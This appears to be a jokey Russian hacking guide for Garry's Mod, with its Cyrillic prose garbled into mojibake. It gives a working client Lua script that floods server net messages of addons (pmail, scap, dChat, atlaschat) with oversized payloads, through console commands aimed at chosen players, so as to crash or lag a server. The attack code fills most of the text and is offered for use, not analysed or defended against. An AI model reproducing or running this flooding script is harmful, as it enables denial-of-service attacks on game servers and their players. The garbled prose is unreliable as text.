
íà÷àëà
!!==âñåì ïðèâåò ñ âàìè àíîíèìóñ è ñåãîäíÿ ìû çàäóäîñèì ìåíòîêîíñòðóêò==!!íà÷íîì ñ òàâî ÷òî íóæíî çàäóäîñèòü ñâîé ãîðåñìîä è âêëþ÷èòü sv_allowcslua
ñäåëàòü ýòî ìîæíî ÷åðåç ÷èòåðñêèé äâèãàòåëü
÷î ïîòîì
ïàòîì ìû áåðåì âçëîì îò uhx êîòîðûé î÷åíü êëàñíû è êëîäåì åãî â C:/progrum foils/stim/stimaps/cumon/goresmod/goredmod/lua/megavzlom.lualocal function Message(...)
--chat.AddText( Color( 255, 204, 0 ), "[BaseHook] ", Color( 0, 255, 255 ), ... )
MsgC( Color( 255, 204, 0 ), "[BaseHook] ", Color( 0, 255, 255 ), ..., "n")
end
-- "pmail" ddos
-- check if "pmail" exist on server
if util.NetworkStringToID( "pmail" ) != 0
then
local function PMail( target )
if target:IsValid()
then
net.Start( "pmail" )
net.WriteString( string.rep( "n", 65000 ) )
net.WriteString( target:SteamID() )
net.SendToServer()
timer.Simple( target )
elseif target == nil
then
chat.AddText( Color( 255, 0, 0 ), "Paused" )
else
chat.AddText( Color( 0, 255, 0 ), "Target left the game!" )
end
end
concommand.Add( "pmail_ddos",
function( ply, cmd, args, argStr )
if tonumber(argStr) == 0
then
timer.Remove( "spam" )
return
end
for _, v in pairs( player.GetAll() )
do
if tonumber(argStr) == v:UserID()
then
target = v
print( v:Name() .. " founded! Sending packets..." )
timer.Create( "spam", 5, 0, PMail )
return
end
end
print( "Cant find player with id " .. argStr )
end)
Message( "pmail_ddos initialized!" )
end
-- SCAP ddos
if util.NetworkStringToID( "scap" ) != 0 then
local len = 65536000
local target = nil
local function SCAP()
if target:IsValid() then
net.Start( "scap" )
net.WriteTable( { target } )
net.WriteBit( true )
net.WriteUInt( len, 32 )
net.WriteData( string.rep( "@", len ), len )
net.SendToServer()
else
chat.AddText( Color( 0, 255, 0 ), "Target left the game!" )
timer.Remove( "scap_ddos" )
end
end
concommand.Add( "scap_ddos",
function( ply, cmd, args, argStr )
if tonumber(argStr) == 0
then
timer.Remove( "scap_ddos" )
return
end
for _, v in pairs( player.GetAll() )
do
if tonumber(argStr) == v:UserID()
then
target = v
print( v:Name() .. " founded! Sending packets..." )
timer.Create( "scap_ddos", 0.01, 1000, SCAP )
return
end
end
print( "Cant find player with id " .. argStr )
end)
Message( "scap_ddos initialized!" )
end
-- "dChat" ddos
if util.NetworkStringToID( "dChat" ) != 0
then
local target = nil
net.Receive( "dChat", function()
local info = net.ReadTable()
if info.target then
local Text = table.Copy( dTag )
if info.target == LocalPlayer() and string.len( info.message ) < 1024 then
table.Add( Text, { team.GetColor( info.sender:Team() ), info.sender, Color( 255, 255, 255 ), ": ", Color( 255, 255, 100 ), info.message } )
surface.PlaySound( "buttons/combine_button1.wav" )
end
else
gamemode.Call( "OnPlayerChat", info.ply, info.message, info.team, not info.ply:Alive() )
end
end )
local function DChat()
if target == nil or target:IsValid() then
net.Start( "dChat" )
net.WriteTable( { message = string.rep( "n", 131072 ), team = false, target = target } )
net.SendToServer()
else
chat.AddText( Color( 0, 255, 0 ), "Target left the game!" )
timer.Remove( "spam132" )
end
end
concommand.Add( "dchat_ddos",
function( ply, cmd, args, argStr )
if tonumber(argStr) == 0
then
timer.Remove( "spam132" )
return
end
for _, v in pairs( player.GetAll() )
do
if tonumber(argStr) == v:UserID()
then
target = v
print( v:Name() .. " founded! Sending packets..." )
timer.Create( "spam132", 7, 0, DChat )
return
end
end
print( "Cant find player with id " .. argStr )
end)
Message( "dchat_ddos initialized!" )
end
-- "coh" title
if util.NetworkStringToID( "coh" ) != 0 then
local msg_typing = 1
local msg_endtyping = 2
local msg_data = 3
local msg_data_append = 4
local msg_data_ack = 5
hook.Remove( "StartChat", "coh" )
hook.Remove( "FinishChat", "coh" )
hook.Remove( "ChatTextChanged", "coh" )
concommand.Add( "coh_title",
function( ply, cmd, args, argStr )
print( argStr )
net.Start( "coh" )
if argStr == "" then
net.WriteUInt( msg_endtyping, 8 )
else
net.WriteUInt( msg_typing, 8 )
net.SendToServer()
net.Start( "coh" )
net.WriteUInt( msg_data, 8 )
net.WriteString( argStr )
end
net.SendToServer()
end)
end
if util.NetworkStringToID( "atlaschat.chat" ) != 0 then
net.Receive("atlaschat.chatText", function(bits)
local text = net.ReadString()
local player = net.ReadEntity()
local team = util.tobool(net.ReadBit())
local dead = IsValid(player) and !player:Alive() or false
if( string.len( text ) < 1024 ) then
hook.Run("OnPlayerChat", player, text, team, dead)
end
end)
concommand.Add( "atlas_ddos",
function( ply, cmd, args, argStr )
net.Start( "atlaschat.chat" )
net.WriteString( string.rep( "n", 64000 ) )
net.WriteBit( false )
net.SendToServer()
end)
Message( "atlaschat.chat initialized!" )
end
íó è íàêàíåöòà ñàì âçëîì
÷òîáû âçëîìàòü ìåíòîêîíòðóêò íàì íóæíà íîïèñàòü ïðîñòî lua_openscript_cl megavzlom.luaè âñ¸ åñëè âñ¸ ïðîøëî õîðîøî òî ìåíòîêîíòðóêò âçëîìàåòñÿ àâòîìàòè÷åñêè èíà÷å âû íå õàêåð
âñåì ñïàñèáî çà âíèìàíèå!!!!!!!!!!!!!!!!!!